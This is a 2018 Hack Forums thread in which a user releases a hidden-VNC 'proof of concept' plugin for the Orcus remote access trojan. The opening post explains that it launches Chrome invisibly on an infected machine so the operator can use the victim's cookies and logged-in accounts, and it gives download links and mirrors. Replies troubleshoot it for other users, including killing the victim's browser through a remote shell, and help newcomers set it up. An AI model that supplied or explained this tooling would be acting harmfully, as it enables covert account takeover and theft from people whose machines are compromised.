+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: [Orcus Remote Administrator] The hVNC PoC Release (/showthread.php?tid=5814574)
[Orcus Remote Administrator] The hVNC PoC Release - Nick (Name) - Mar 21, 2018
PoC Video
Summary
I know this video is old but I've been getting a lot of private messages about it and where to download it. I don't get on this forum often anymore to answer questions about Orcus or really develop plugins anymore. Sorzus implemented a feature in 1.8.2, I believe, that allowed you to execute programs on the client's machine, either in view, hidden, or hidden and mirrored to the administrator. This feature was very limited as it would only execute programs that you could upload to the client, so I decided to make an extremely simple program to launch other programs installed on the client's machine. In the video I showcase me executing Chrome on the client's machine outside of their view to use their cookies and local data, which pretty much throws out all the reverse proxy bullshit and cookie importing hassle which most malicious users do to gain access to user's accounts and more. I've notified Orcus Technologies about this point of concept when I first tested it around the first quarter of 2017, no patches have been pushed or any mitigation to prevent this, I feel like I've given them enough time to deal with this potential malicious concept. So I am hereby releasing the point of concept binary, it uses the .NET Framework 3.5 runtime and is not obfuscated, I do NOT want this sold at all, no exceptions, or redistributed without the proper credit, even though the program is extremely simple and anyone with a brain can develop it. I am not responsible with what user's do with this PoC and do not intend it for malicious use.
Changelog
Version 1.0.4.7
• Arguments/parameters can be executed along with the bootstrapped program
• If the program is already running, it will be killed after 10 seconds to allow capture
• More verbal execution process
Version 1.0.5.3
• Assembly info is displayed on console title
• Console hides after process execution
• Fixed issues for Firefox and Brave browsers
Current Version Download
VirusTotal Scan: link
Download: google.com/file/d/1YTblFK4_p00OykDMe9qcsxINfGt6k36y]link
Mirror 1 Mirror 2
MD5 Hash: fbb27b31b0a3e94814744ff981a812aa
RE: [Orcus Remote Administrator] The hVNC PoC - ImSimplyNameless - Mar 22, 2018
Your HF looks much cooler dafuq
RE: [Orcus Remote Administrator] The hVNC PoC - john441 - Mar 28, 2018
hey man, I always got this error "object reference not set to an instance of an object" when I try to execute chrome.exe or any browser in the arguments.
help me
RE: [Orcus Remote Administrator] The hVNC PoC - casperr - Mar 28, 2018
(Mar 28, 2018 09:34 AM)john441 Wrote: hey man, I always got this error "object reference not set to an instance of an object" when I try to execute chrome.exe or any browser in the arguments.
help me
before you try to execute it go to task manager and kill all chrome tasks.
after you killed it try to execute it again and you are done.
GL
RE: [Orcus Remote Administrator] The hVNC PoC - QU⚡CKSILVER - Mar 28, 2018
Just get a remote shell and do "taskkill /im chrome.exe /f"
RE: [Orcus Remote Administrator] The hVNC PoC - moiomy - Apr 15, 2018
Very nice but link is dead(
RE: [Orcus Remote Administrator] The hVNC PoC - Nick (Name) - Apr 15, 2018
(Apr 15, 2018 12:52 AM)moiomy Wrote: Very nice but link is dead(
Thanks for the notice, I changed the download to Google Drive.
Added mirrors to ensure alternative downloads.
RE: [Orcus Remote Administrator] The hVNC PoC Release - ĐĮΜĘ - Apr 16, 2018
ARES here. Good job Nick. I'll see you around
RE: [Orcus Remote Administrator] The hVNC PoC Release - kauf - Apr 21, 2018
impressive, and can't this work on other browser than chrome?
RE: [Orcus Remote Administrator] The hVNC PoC Release - Thresh - Apr 27, 2018
Thanks for the share, this looks amazing
RE: [Orcus Remote Administrator] The hVNC PoC Release - Vampir - Apr 28, 2018
figured out :) and tell me why blinks often, can I fix it?
noticed on win 10 does not blink, at 7 blinks
RE: [Orcus Remote Administrator] The hVNC PoC Release - Nick (Name) - May 8, 2018
I have updated the bootstrap to resolve some issues that were occurring when using the bootstrap program, here are the changes:
• Arguments/parameters can be executed along with the bootstrapped program
• If the program is already running, it will be killed after 10 seconds to allow capture
• More verbal execution process
I will be recording and uploading a more in-depth and verbal tutorial on how to use the program in the near future to clear up some confusion :)
RE: [Orcus Remote Administrator] The hVNC PoC Release - Egy boi - May 8, 2018
So i am a tad new to hacking and rats and stuff of this nature so how do i set this up from the bootstrap? Lmao i probably sound stupid, Thanks.
RE: [Orcus Remote Administrator] The hVNC PoC Release - Nick (Name) - Jun 26, 2018
(Jun 26, 2018 01:24 AM)dealson Wrote: Orcus bootstrap, does it works with other rat has the main rat website is down now. i need your comment pls
No it only works with Orcus Administrator, the domain https://OrcusTechnologies.com/ is currently under review, but the site has been moved to https://orcus.pw/ temporarily.
RE: [Orcus Remote Administrator] The hVNC PoC Release - kinsella - Jun 27, 2018
Can someone confirm if this HVNC still works well with Orcus?